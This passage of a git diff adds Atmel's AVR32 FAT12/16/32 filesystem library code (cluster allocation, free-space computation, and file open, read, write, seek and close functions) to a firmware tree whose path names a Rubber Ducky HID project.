u32_nb_free_cluster = fat_read_fat32_FSInfo(); + if( 0xFFFFFFFF != u32_nb_free_cluster ) + goto endof_fat_getfreespace_percent; + u32_nb_free_cluster = 0; + + u16_pos = 2*4; + for( u32_tmp = fs_g_nav.u32_fat_size + ; u32_tmp!=0 + ; u32_tmp-- ) + { + for( ; u16_pos < 512 ; u16_pos += (2*4) ) + { + if( 0 == fs_g_sector[u16_pos] ) + u32_nb_free_cluster+=2; + } + // Read next sector in FAT + u16_pos = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return 0; + } + } + + if ( Is_fat16 ) + { + u16_pos = 2*2; + + for( u32_tmp = fs_g_nav.u32_fat_size + ; u32_tmp!=0 + ; u32_tmp-- ) + { + for( ; u16_pos < 512 ; u16_pos += (2*2) ) + { + if( 0 == fs_g_sector[u16_pos] ) + u32_nb_free_cluster+=2; + } + // Read next sector in FAT + u16_pos = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return 0; + } + } + + // Compute percent + if( u32_nb_free_cluster > fs_g_nav.u32_CountofCluster ) + return 100; + if( u32_nb_free_cluster > ((fs_g_nav.u32_CountofCluster-u32_nb_free_cluster)/256) ) + { + // Compute and add a delta error + u32_nb_free_cluster -= ((fs_g_nav.u32_CountofCluster-u32_nb_free_cluster)/256); + } +endof_fat_getfreespace_percent: + return ((u32_nb_free_cluster * 100) / fs_g_nav.u32_CountofCluster); +} + + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function allocs a cluster list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr Last cluster value of a cluster list to link with the new cluster list +//! If no cluster list to link then set MSB0(fs_g_seg.u32_addr) to 0xFF +//! fs_g_seg.u32_size_or_pos Maximum size of cluster list to alloc (unit sector) +//! OUT: +//! fs_g_seg.u32_addr Return the first cluster value of the new cluster list +//! fs_g_seg.u32_size_or_pos The number of sector remainning (no allocated sectors, because disk fragmented or disk full) +//! @endverbatim +//! +Bool fat_allocfreespace( void ) +{ + // Flag to signal the first step which search the first free cluster of the new list + Bool first_cluster_free_is_found = false; + // If true then use a quick procedure but don't scan all FAT else use a slow proceudre but scan all FAT + Bool b_quick_find = true; + + if( Is_fat32 ) + { + // Clear info about free space + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; + } + + if( 0xFF == MSB0(fs_g_seg.u32_addr) ) + { +fat_allocfreespace_start: + // New cluster list, then research at the beginning of FAT + fs_g_cluster.u32_pos = 2; + }else{ + // Continue the cluster list then start after the end of the cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr+1; + } + + fat_clear_info_fat_mod(); + + // Read ALL FAT1 + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) + return false; + + if ( 0 == fs_g_cluster.u32_val ) + { + // A free cluster is found + fs_g_cluster.u32_val = fs_g_cluster.u32_pos; // value of the cluster is the new free cluster + if( true == first_cluster_free_is_found ) + { + // Link the new cluster with previous cluster + fs_g_cluster.u32_pos--; // select the previous cluster + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + } + else + { + // It is the first cluster of the new list + first_cluster_free_is_found = true; + + if( 0xFF != MSB0(fs_g_seg.u32_addr) ) + { + // Link this new cluster with the current cluster list + // Select the last cluster of the current list + if( 0 == fs_g_seg.u32_addr ) + { // The current cluster list is the cluster list of root directory + if( FS_TYPE_FAT_32 != fs_g_nav_fast.u8_type_fat ) + { + // Impossible to increment ROOT DIR size of FAT12 or FAT16 + fs_g_status = FS_ERR_NO_FREE_SPACE; + return false; + } + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; + } + else + { + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; + } + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + } // else no writing the first cluster value in FAT because no current cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // save the first cluster value + } + + // At the new cluster position, set the flag end of list + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; // Select the new cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // Cluster value is the flag end of list + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + + // Compute the remaining sectors + if ( fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus ) + { + fs_g_seg.u32_size_or_pos = 0; // All space found + break; // Stop loop + } + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; + } + else + { + // The next cluster is not free + if( true == first_cluster_free_is_found ) + { + // To have a segment memory continue, the cluster list must be continue + // then stop allocation + break; + } + else + { + // It is the first step to search the first free cluster + // then ignore this cluster no free and continue search + if( b_quick_find ) + { + fs_g_cluster.u32_pos += 500; + } + } + } + } + + // End of alloc + if( false == first_cluster_free_is_found ) + { + if( b_quick_find ) + { + // Retry in normal mode to scann all FAT (= no quick mode) + b_quick_find = false; + goto fat_allocfreespace_start; + } + fs_g_status = FS_ERR_NO_FREE_SPACE; // NO FREE CLUSTER FIND + return false; + } + + return fat_update_fat2(); +} +#endif // FS_LEVEL_FEATURES + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the cache information about FAT modifications +//! +void fat_clear_info_fat_mod( void ) +{ + fs_g_u32_first_mod_fat = 0xFFFFFFFF; + fs_g_u32_last_mod_fat = 0; +} +#endif // FS_LEVEL_FEATURES + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function copys the modifications of the first FAT to the second FAT +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_update_fat2( void ) +{ + while( fs_g_u32_first_mod_fat <= fs_g_u32_last_mod_fat ) + { + // Compute the modification position of FAT 1 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + fs_g_u32_first_mod_fat; + // Read FAT1 + if( !fat_cache_read_sector( true )) + return false; + // Compute the modification position of FAT 2 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + (fs_g_u32_first_mod_fat + fs_g_nav.u32_fat_size); + // Init the sector FAT2 with the previous sector of the FAT1 + if( !fat_cache_read_sector( false )) + return false; + // Flag the sector FAT2 like modify + fat_cache_mark_sector_as_dirty(); + fs_g_u32_first_mod_fat++; + } + return true; +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function clears one cluster +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr Cluster value to clear +//! @endverbatim +//! +Bool fat_clear_cluster( void ) +{ + uint8_t u8_loop; + + // Compute the cluster sector address + fs_g_seg.u32_size_or_pos = 0; // Select the beginning of cluster + if( !fat_cluster_list( FS_CLUST_ACT_ONE, false )) + return false; + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); + for( u8_loop = 0 + ; fs_g_nav.u8_BPB_SecPerClus != u8_loop + ; u8_loop++ ) + { + // Update internal cache with cluster sector inforamtion but don't read data from memory + if( !fat_cache_read_sector( false )) + return false; + + if(0 == u8_loop) + { // Clean internal cache (just for the sector) + fat_cache_clear(); + } + fat_cache_mark_sector_as_dirty(); + fs_gu32_addrsector--; // go to previous sector + } + return true; +} +#endif // FS_LEVEL_FEATURES diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c new file mode 100755 index 0000000..02633d4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c @@ -0,0 +1,765 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the file accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "file.h" +#include "navigation.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//! Use "FAT sector cache" to store a sector from a file (see file_putc(), file_getc(), file_read_buf(), file_write_buf()) +#if (defined __GNUC__) && (defined __AVR32__) +__attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#pragma data_alignment = 4 +#endif +extern _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ]; + +static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + + + +//! This function checks if a file is selected +//! +//! @return true, a file is selected +//! @return false, otherwise +//! +Bool file_ispresent( void ) +{ + if( !fat_check_mount_select() ) + return false; + return fat_check_is_file(); +} + + +//! This function opens the selected file +//! +//! @param fopen_mode option to open the file :
+//! FOPEN_MODE_R R access, flux pointer = 0, size not modify
+//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify
+//! FOPEN_MODE_W W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ) +{ + if( !fat_check_mount_select_noopen()) + return false; + + if( !fat_check_is_file()) + return false; + + if(FOPEN_WRITE_ACCESS & fopen_mode) + { + if( !fat_check_nav_access_file( true ) ) + return false; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if (FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr) + { + fs_g_status = FS_ERR_READ_ONLY; // File is read only + return false; + } + if( mem_wr_protect( fs_g_nav.u8_lun )) + { + fs_g_status = FS_LUN_WP; // Disk read only + return false; + } +#else + fs_g_status = FS_ERR_MODE_NOAVIALABLE; + return false; +#endif // FS_LEVEL_FEATURES + } + else + { + if( !fat_check_nav_access_file( false ) ) + return false; + } + + if(FOPEN_CLEAR_SIZE & fopen_mode) + { + fs_g_nav_entry.u32_size = 0; // The size is null + } + if(FOPEN_CLEAR_PTR & fopen_mode) + { + fs_g_nav_entry.u32_pos_in_file = 0; + } + else + { // Go to at the end of file + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size; + } + fs_g_nav_entry.u8_open_mode = fopen_mode; + return true; +} + + +//! This function stores the global segment variable in other variable +//! +//! @param segment Pointer on the variable to fill +//! +static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + segment->u8_lun = fs_g_nav.u8_lun; + segment->u32_addr = fs_g_seg.u32_addr; + segment->u16_size = fs_g_seg.u32_size_or_pos; +} + + +//! This function returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited)
+//! ->u32_size_or_pos OUT, containt the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to read a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_read() for each fragments. +//! @endverbatim +//! +Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + uint8_t u8_nb_sector_truncated; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + return false; + } + + if ( file_eof() ) + { + // End of the file + fs_g_status = FS_ERR_EOF; + return false; + } + + if( !fat_read_file(FS_CLUST_ACT_SEG)) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + fs_g_status = FS_ERR_EOF; // translate the error + return false; + } + // If the segment is too large then truncate it + if( (segment->u16_size != 0) // if no limit then no truncate + && (segment->u16_size < fs_g_seg.u32_size_or_pos) ) + { + u8_nb_sector_truncated = fs_g_seg.u32_size_or_pos - segment->u16_size; + fs_g_seg.u32_size_or_pos = segment->u16_size ; + }else{ + u8_nb_sector_truncated = 0; + } + + // Update file position + fs_g_nav_entry.u32_pos_in_file += (uint32_t)fs_g_seg.u32_size_or_pos * FS_512B; + if( fs_g_nav_entry.u32_size < fs_g_nav_entry.u32_pos_in_file ) + { + // The segment is more larger then file + // case possible: if the file don't use all cluster space + // then compute sectors not used in last cluster of file cluster list + uint8_t u8_nb_sector_not_used; + + // Compute the number of sector used in last cluster + // remark: also the two first bytes of size is used, because the cluster size can't be more larger then 64KB + u8_nb_sector_not_used = LSB1( fs_g_nav_entry.u32_size ) >> (FS_512B_SHIFT_BIT-8); + if( 0 != (fs_g_nav_entry.u32_size & FS_512B_MASK) ) + { // last sector of file isn't full, but it must been read + u8_nb_sector_not_used++; + } + + // Compute the number of sector not used in last cluster + u8_nb_sector_not_used = fs_g_nav.u8_BPB_SecPerClus - (u8_nb_sector_not_used % fs_g_nav.u8_BPB_SecPerClus); + // if all space of cluster isn't used, then it is wrong + if( u8_nb_sector_not_used == fs_g_nav.u8_BPB_SecPerClus ) + u8_nb_sector_not_used = 0; // The file uses all last cluster space + + // Subtract this value a the file position and segment size + u8_nb_sector_not_used -= u8_nb_sector_truncated; + fs_g_seg.u32_size_or_pos -= u8_nb_sector_not_used; // unit sector + fs_g_nav_entry.u32_pos_in_file -= ((uint16_t)u8_nb_sector_not_used) << FS_512B_SHIFT_BIT; // unit byte + } + file_load_segment_value( segment ); + return true; +} + + +//! This function copys in a buffer the file data corresponding at the current position +//! +//! @param buffer buffer to fill +//! @param u16_buf_size buffer size +//! +//! @return number of byte read +//! @return 0, in case of error +//! +uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ) +{ + _MEM_TYPE_FAST_ uint16_t u16_nb_read_tmp; + _MEM_TYPE_FAST_ uint16_t u16_nb_read; + _MEM_TYPE_FAST_ uint16_t u16_pos_in_sector; + _MEM_TYPE_FAST_ uint32_t u32_byte_remaining; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + return false; + } + + u16_nb_read = 0; + + while( 0 != u16_buf_size ) + { + if ( file_eof() ) + { + fs_g_status = FS_ERR_EOF; + return u16_nb_read; // End of the file + } + u32_byte_remaining = fs_g_nav_entry.u32_size-fs_g_nav_entry.u32_pos_in_file; + u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B; + + if( (0== u16_pos_in_sector) + && (FS_512B <= u32_byte_remaining) + && (FS_512B <= u16_buf_size) +#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__) + && (Test_align((uint32_t)buffer, sizeof(uint32_t))) +#endif + ) + { + // The file data sector can been directly transfer from memory to buffer (don't use internal cache) + if( u16_buf_size <= u32_byte_remaining) + { + u16_nb_read_tmp = u16_buf_size; + }else{ + u16_nb_read_tmp = u32_byte_remaining; + } + u16_nb_read_tmp = u16_nb_read_tmp / FS_512B; // read a modulo sector size + + // Get following sector segment of file + if( !fat_read_file(FS_CLUST_ACT_SEG)) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + fs_g_status = FS_ERR_EOF; // translate the error + return u16_nb_read; + } + // Truncate the segment size found if more larger than asked size + if( u16_nb_read_tmp > fs_g_seg.u32_size_or_pos ) + { + u16_nb_read_tmp = fs_g_seg.u32_size_or_pos; + }else{ + fs_g_seg.u32_size_or_pos = u16_nb_read_tmp; + } + + // Directly data tranfert from memory to buffer + while( 0 != fs_g_seg.u32_size_or_pos ) + { + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer)) + { + fs_g_status = FS_ERR_HW; + return u16_nb_read; + } + fs_g_seg.u32_size_or_pos--; + fs_g_seg.u32_addr++; + buffer += FS_512B; + } + // Translate from sector unit to byte unit + u16_nb_read_tmp *= FS_512B; + } + else + { + // The file data can't been directly transfer from memory to buffer, the internal cache must be used + + // Tranfer data from memory to internal cache + if( !fat_read_file( FS_CLUST_ACT_ONE )) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file + } + return u16_nb_read; + } + + // Compute the number of data to transfer + u16_nb_read_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size + if( u16_nb_read_tmp > u32_byte_remaining ) + u16_nb_read_tmp = u32_byte_remaining; + if( u16_nb_read_tmp > u16_buf_size ) + u16_nb_read_tmp = u16_buf_size; + + // Tranfer data from internal cache to buffer + memcpy_ram2ram( buffer , &fs_g_sector[ u16_pos_in_sector ], u16_nb_read_tmp ); + buffer += u16_nb_read_tmp; + } + // Update positions + fs_g_nav_entry.u32_pos_in_file += u16_nb_read_tmp; + u16_nb_read += u16_nb_read_tmp; + u16_buf_size -= u16_nb_read_tmp; + } + return u16_nb_read; // Buffer is full +} + + +//! This function returns the next byte of file +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ) +{ + uint16_t u16_byte; + + while(1) + { + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + break; + } + if( fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ) + { + fs_g_status = FS_ERR_EOF; + break; + } + + if( !fat_read_file( FS_CLUST_ACT_ONE )) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file + } + break; + } + + u16_byte = fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ]; + fs_g_nav_entry.u32_pos_in_file++; + return u16_byte; + } + return FS_EOF; // No data readed +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file
+//! ->u32_size_or_pos OUT, contains the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to write a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_write() for each fragments. +//! @endverbatim +//! +Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + if( !fat_write_file( FS_CLUST_ACT_SEG , segment->u16_size )) + return false; + + // If the segment is too large then truncate it + if( (segment->u16_size != 0) // if not undefine limit + && (segment->u16_size < fs_g_seg.u32_size_or_pos) ) + { + fs_g_seg.u32_size_or_pos = segment->u16_size ; + } + + // Update file position + fs_g_nav_entry.u32_pos_in_file += ((uint32_t)fs_g_seg.u32_size_or_pos * FS_512B); + + // Update size file + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + file_load_segment_value( segment ); + return true; +} + + +//! This function sets the end of file at the current position +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is usualy used after the last file_write() call. +//! The file_write() routine uses the sector unit (512B), +//! and you can set a specific byte size with a file_seek() call and fiel_set_eof() call. +//! @endverbatim +//! +Bool file_set_eof( void ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + // Update the file size + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + + if( !fat_read_file( FS_CLUST_ACT_CLR )) + return false; + + return fat_cache_flush(); +} + + +//! This function transfer a buffer to a file at the current file position +//! +//! @param buffer data buffer +//! @param u16_buf_size data size +//! +//! @return number of byte write +//! @return 0, in case of error +//! +uint16_t file_write_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ) +{ + _MEM_TYPE_FAST_ uint16_t u16_nb_write_tmp; + _MEM_TYPE_FAST_ uint16_t u16_nb_write; + _MEM_TYPE_FAST_ uint16_t u16_pos_in_sector; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + u16_nb_write = 0; + + while( 0 != u16_buf_size ) + { + // The file data sector can been directly transfer from buffer to memory (don't use internal cache) + u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B; + if( (0== u16_pos_in_sector) + && (FS_512B <= u16_buf_size) +#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__) + && (Test_align((uint32_t)buffer, sizeof(uint32_t))) +#endif + ) + { + u16_nb_write_tmp = u16_buf_size / FS_512B; // read a modulo sector size + + // Get and eventually alloc the following sector segment of file + if( !fat_write_file( FS_CLUST_ACT_SEG , u16_nb_write_tmp )) + return false; + // Truncate the segment found if more larger than asked size + if( u16_nb_write_tmp < fs_g_seg.u32_size_or_pos) + { + fs_g_seg.u32_size_or_pos = u16_nb_write_tmp; + }else{ + u16_nb_write_tmp = fs_g_seg.u32_size_or_pos; + } + + // Directly data tranfert from buffer to memory + while( 0 != fs_g_seg.u32_size_or_pos ) + { + if( CTRL_GOOD != ram_2_memory( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer)) + { + fs_g_status = FS_ERR_HW; + return u16_nb_write; + } + fs_g_seg.u32_size_or_pos--; + fs_g_seg.u32_addr++; + buffer += FS_512B; + } + // Translate from sector unit to byte unit + u16_nb_write_tmp *= FS_512B; + } + else + { + // The file data can't been directly transfer from buffer to memory, the internal cache must be used + + // Tranfer and eventually alloc a data sector from internal cache to memory + if((fs_g_nav_entry.u32_pos_in_file == fs_g_nav_entry.u32_size) + && (0==u16_pos_in_sector) ) + { + // Eventually alloc one new sector for the file + if( !fat_write_file( FS_CLUST_ACT_SEG , 1 )) + return false; + // Update the cache + fs_gu32_addrsector = fs_g_seg.u32_addr; + if( !fat_cache_read_sector( false )) // The memory is not readed because it is a new sector + return false; + }else{ + // The sector must existed then alloc no necessary + if( !fat_write_file( FS_CLUST_ACT_ONE , 1 )) + return false; + } + + // Flag internal cache modified + fat_cache_mark_sector_as_dirty(); + + // Compute the number of data to transfer + u16_nb_write_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size + if( u16_nb_write_tmp > u16_buf_size ) + u16_nb_write_tmp = u16_buf_size; + + // Tranfer data from buffer to internal cache + memcpy_ram2ram( &fs_g_sector[ u16_pos_in_sector ], buffer , u16_nb_write_tmp ); + buffer += u16_nb_write_tmp; + } + // Update positions + fs_g_nav_entry.u32_pos_in_file+= u16_nb_write_tmp; + u16_nb_write += u16_nb_write_tmp; + u16_buf_size -= u16_nb_write_tmp; + // Update file size + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + } + return u16_nb_write; // All buffer is writed +} + + +//! This function writes a byte in the file +//! +//! @param u8_byte byte to write +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_putc( uint8_t u8_byte ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + if( !fat_write_file( FS_CLUST_ACT_ONE , 1 )) + return false; + + // Write the data in the internal cache + fat_cache_mark_sector_as_dirty(); + fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ] = u8_byte; + fs_g_nav_entry.u32_pos_in_file++; + + // Update the file size + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + return true; +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns the position in the file +//! +//! @return Position in file +//! +uint32_t file_getpos( void ) +{ + if( !fat_check_mount_select_open() ) + return 0; + + return fs_g_nav_entry.u32_pos_in_file; +} + + +//! This function changes the position in the file +//! +//! @param u32_pos number of byte to seek +//! @param u8_whence direction of seek
+//! FS_SEEK_SET , start at the beginning and foward
+//! FS_SEEK_END , start at the end of file and rewind
+//! FS_SEEK_CUR_RE, start at the current position and rewind
+//! FS_SEEK_CUR_FW, start at the current position and foward
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_seek( uint32_t u32_pos , uint8_t u8_whence ) +{ + if( !fat_check_mount_select_open()) + return false; + + switch(u8_whence) + { + case FS_SEEK_CUR_RE: + if( fs_g_nav_entry.u32_pos_in_file < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file -= u32_pos; + break; + + case FS_SEEK_SET: + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = u32_pos; + break; + + case FS_SEEK_END: + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size - u32_pos; + break; + + case FS_SEEK_CUR_FW: + u32_pos += fs_g_nav_entry.u32_pos_in_file; + if( fs_g_nav_entry.u32_size < u32_pos ) + { // Out of the limit + fs_g_status = FS_ERR_BAD_POS; + return false; + } + // update the position + fs_g_nav_entry.u32_pos_in_file = u32_pos; + break; + } + return true; +} + + +//! This function checks the beginning of file +//! +//! @return 1 the position is at the beginning of file +//! @return 0 the position isn't at the beginning of file +//! @return FFh error +//! +uint8_t file_bof( void ) +{ + if( !fat_check_mount_select_open() ) + return 0xFF; + + return (0 == fs_g_nav_entry.u32_pos_in_file ); +} + + +//! This function checks the end of file +//! +//! @return 1 the position is at the end of file +//! @return 0 the position isn't at the end of file +//! @return FFh error +//! +uint8_t file_eof( void ) +{ + if( !fat_check_mount_select_open() ) + return 0xFF; + return (fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ); +} + + +//! This function flushs the internal cache (file datas and file information) +//! +void file_flush( void ) +{ + uint8_t save_open_mode; + save_open_mode = fs_g_nav_entry.u8_open_mode; + file_close(); + fs_g_nav_entry.u8_open_mode = save_open_mode; +} + + +//! This function closes the file +//! +void file_close( void ) +{ + // If a file is opened, then close this one + if( fat_check_mount_select_open() ) + { + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if( FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode ) + { + // Write file information + if( !fat_read_dir() ) + return; // error + fat_write_entry_file(); + fat_cache_flush(); // In case of error during writing data, flush the data before exit function + } +#endif // FS_LEVEL_FEATURES + Fat_file_close(); + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.h new file mode 100755 index 0000000..f2d910e --- /dev/null +++ 